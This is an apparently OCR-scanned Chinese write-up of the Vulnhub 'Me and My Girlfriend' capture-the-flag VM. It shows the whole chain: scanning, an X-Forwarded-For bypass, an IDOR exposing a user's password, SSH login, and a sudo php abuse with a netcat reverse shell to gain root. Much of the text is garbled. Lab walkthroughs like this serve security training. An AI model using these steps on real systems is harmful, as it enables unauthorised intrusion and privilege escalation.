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1. #HN A
DescriptionBack To The Top
Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very
romantic, but since Alice worked at a private company, “Ceban Corp”, something has changed from Alice’s attitude towards
Bob like something is “hidden”, And Bob asks for your help to get what Alice is hiding and get full access to the company!
Difficulty Level: Beginner
Notes: there are 2 flag files
Learning: Web Application | Simple Privilege Escalation

EE M AlicetE—FFANLF]" Ceban Corp” TiELLSE , =0

ELAFEINREERAR !

2. BEHER
FEfL: vmware workstation 15 pro CE R4 ] Virtualbox)
W% Kalilinux (ip:192.168.15.131)
XA4%: Me-and-My-Girlfriend-1.ova
HIR: vmware workstation st ¥ T FF BRI, A .ova, SERAENLZ%E. B4 & B S kali linuxt [F] AR X——nattl
Ko

3. ENLEI, kaliFHBAMEEN, KILHBRENIPH192.168.15.141,

netdiscover -r 192.168.15.131/24

Currently scanning: Finished! Screen View: Unique Hosts

94 Captured ARP Req/Rep packets, from 4 hosts. Total size: 5640

MAC Address E L &N MAC Vendor / Hostname

VMware, Inc.

9:9f: z & : 4 VMware, Inc.
=44 -2 - £ VMware, Inc.

= 2= : Te : VMware, Inc.



https://blog.csdn.net/qq_41631806
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_41631806/article/details/103619441
https://download.vulnhub.com/meandmygirlfriend/Me-and-My-Girlfriend-1.ova

4. Xt BAREMNHEATER, 22/tcp open ssh. 80/tcp open httpFF/i.

nmap -sS -A 192.168.15.141

TRACEROUTE
HOP RTT ADDRESS
1 ©.52 ms 192.168.15.1

Nmap scan report for 192.168.15.141
Host is up (©0.00036s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
ssh OpenSSH 6.6.1pl1l Ubuntu Zubuntu2z.13 (Ubuntu Linux; protoco

h;hostkey:

1024 57:el1l:56:58:46:04:33:56:3d:c3:4b:a7:93:ee:23:16 (DSA)
2048 3b:26:4d:e4:20:3b:1T8:75:d9:6e:15:55:82:8Cc:71:97 (RSA)
256 8T:48:97:9b:55:11:5b:T1:6c:1d:b3:49a:bc:36:bd:b® (ECDSA)
256 dO:c3:02:al:c4:c2:a8:ac:3b:84:ae:8T:e5:79:66:76 (ED25519)

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

| http-server-header: Apache/2.4.7 (Ubuntu)

| http-title: Site doesn't have a title (text/html).

MAC Address: 00:0C:29:9F:20:47 (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:Llinux:linux kernel:3 cpe:/o:linux:linux kernel:4

0S details: Linux 3.2 - 4.9

Network Distance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel http

5. ViiR80%s 1, FR#EIAMTIE, AIHEXXFIEN.

& Cc @  192.168.15.141
BEvaesizs ByaEses OinEses @ Hixrtls O=smmt s

Who are you? Hacker? Sorry This Site Can Only Be Accessed local!

6. burpsuitedfl, HIAX-Forwarded-For:127.0.0.1 (F—EMAHEELA)

Burp FProject Intruder Repeater Window Help
| Dashboard | Target | l Intruder | Repeater | Sequencer | Decoder | Comparer
| ] HTTF history | WebSockets history | Options

Request to hittp/f192.168.15.141: 20

Forward Drop Intercept is on Auction




forward (—HE.jiAX-Forwarded-For:127.0.0.1) &

T RSEI R el T ETIRSATLLEE B OEE e s
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Ceban Corp

@ 192.168.15.141/?page=index wes

x | 4+

D

£+ Most Visited @ Getting Started “e Kali Linux “e Kali Training “a_ Kali Tools “e Kali Do

Welcome To Ceban Corp

Inspiring The People To Great Again!

Home | Login | Register | About

7. B RISQLIEN, REXHESE. Eit, B3, fEprofile AHIEHNFLM, RUELAKSHELHEL. BXuser id, &7 HAb
HAHPHKSEN, EPHBEANAlce. KS: alice, Fig: 4lic3.

Burp Froject Intruder Repeater Window Help

[ Dashboard TTarget I Prosy T Intruder T Repeaster I Sequencer I Decoder T Cornparer I E xtendear T Froject options T User options ]

Sand Cancel < |v > |w

Request

_[ Rusies T Pararns T Headers ]’ Hesx ]

Target: http:#192 169.15.141 C

Response

[ maw | Headers | Hex | HTML | Render |

GET /index.php?page=p rof:l.lc&us.r_:i.dl’/ 1.1

-~ href="?page=logout“>Logout</a></p>

Host: 192.168.15.141 . <hr>

User-Agent: Mozilla/s5.8 (X11; Lainux xB6_64; rv-68_8) </diwv=

Gacko/20100101 Firefox/60.0

Accept: =form action="#" method="POST">
text/html,application/xhtml+xml ,application/xml ;q=0.9, =label for="name*">Name</label=

*/*.q=0.8 =input type="text* name="name* id="name"*
Accept-Language: =h-CN,en-US;g=0_.7,en,qg=0_3 value="admin*><br=

Accept-Encoding: g=zip, deflate =label for="username">Username=/Label>

Referer: <input type="text™ name="username® id="username"
http://192_168_15_141/index_ php?page=dashboardiuser_a value="admin=>=<br>

d=12 =labe or="password“>Password=y/label>

Cockie: PHPSESSID=chhg686834gf2filikg6pcvie’ <input type="password” name="password"” id="password"
Connection: close value="admin*><br>

x-forwarded-for:-127 _68._68._1 c:huttmbled='disabled'}changerﬁ/buttun}
Upgrade-Insecure-Requests: 1 =/ Fform=

Sand C ancel < |w > | v Target: http #192.168.15.141 ﬁ

Request Response
J Rz T Farams ] Headers I Hex ] _[ F.aw T Headers T Hes I HTrL I Render ]
GET /index_php?page=profilefuser_id=S|HTTPs1.1 -~ href=="7page=lLogout~>Logout</sa></p>
Host: 192 _168_.15_141 - =hr=>
User-Agent: Mozillas5.0 (X11; Linux xB6_64; rv-60_08) <fdiv>

Gaecko /20100101 Firefox/60.0

Accept:

text/html , application/xhtml+xml application/xml;q=08_.9,
=/=,q=0_8

Accept-Language: zh-CN_ en-US;q=0_.7 ,en;q=0_3
Accept-Encoding: gzip, deflate

Referer:
http://192_168.15.141/index_php?page=dashboard&user_a
d=12

Cookie: PHPSESSID=chhg6B86834gf2filikgbpcvie?
Connection: close

x-forwarded-for:-127 _8_86_1

Upgrade-Insecure-Requests: 1

8. Falice K 5 & g 7Ekali linux Essh& 3.

=form action="#" method="POST~>

=label for="nams">Name=/1labesl>

=input type="text™ name="name” id="name"~
value="Alice Geulis*">=<br>

=Llabel for="username~">Username</label>

=input type="text™ name="username” id="username"™
value="alice“><br=

=label for="password*>Password=/label>

<input type="password® name="password® id="password™
value="4lic3“>=hr>

=button disabled="disabled*"=Change</button=
</ form>

alice@192.168.15.141



9. BRI, ERANRroott R, HEAN T sudotFRA 7. IiifEfEalice B3 T A B T i3l % A 5E —Mflag

alice@gfriEND:~/.my secret$ id
uid=1000(alice) gid=1081l(alice) groups=1001(alice)

alice@gfriEND:~/.my_secret$ cat /etc/sudoers

cat: setc/sudoers: Permission denied

alice@gTriEND:~/.my_ secret$ 1s -a
Tflagl. txt my notes.txt

10. EERARFRE (LMLRSBRE®RT, NIHRAMEE)

uname -a

alice@gfriEND:~/.my secret$ uname -a
Linux gfriEND 4.4.0-142-generic #168-~14.04.1-Ubuntu SMP Sat Jan 19 11:

C 2019 x86 64 x86 64 x86 64 GNU/Linux

11. Fsearchsploit&E R HH IR, #HATIRWL .

searchsploit ubuntu 14.04

searchsploit linux Kernel 4.4.0

(Ubunt exploits/ S local/47169.cC

HAREN A R, Sedgoom Hrooth . FTLIRME T —AHFSEAL, HRE, WIEMnckis %R
SCHEERRENL L, BT, SRR, RER IR EooitaEn. BHRT IS, MENT. ERAK, £FLE
TR R

EWTTiE. BEASMH ) BEBHATKIsudot R . A phpP AT LR -

alice@gfriEND:~/.my secret$ sudo -1
Matching Defaults entries Tor alice on gfriEND:

env_reset, mail badpass,

secure path=/usry/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin\:/snap/bin

User alice may run the following commands on gfriEND:
(root) NOPASSWD: fusr/bin/php
alice@gfriEND:~/.my secret$ .

14. FfEkaliffiwebshell. Zkalifz 3—A4 shell.
kali (192.168.15.131) :

nc -1 -p 4444< /usr/share/webshells/php/php-reverse-shell.php


https://blog.csdn.net/qq_41918771/article/details/103600889

ssh:

1 4444 shell

nc -vn 192.168.15

sudo php shell

SRS o

- # nc -1 -p 4444
Linux gfriEND 4.4.0-142-generic #168-14.04.1l-Ubuntu SMP Sat Jan 19 11:26:28
2019 x86 64 x86 64 x86 64 GNU/Linux
23:48:21 up 6:48, 1 user, load average: 0.00, 0.00, ©0.00

TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
pts/0 192.168.15.131 19:55 5.00s 2.94s ©.32s bash
uid=e(root) gid=@(root) groups=0(root)

15. rootH FH F T3 —1Mlag.
SE Gk
HTTP &K k9 ) X-Forwarded-For
Vulnhub-Me and My Girlfriend: 1-Writeup
W AR RE AP R 1

GE: AANZER, mAEER, WEFRHETD
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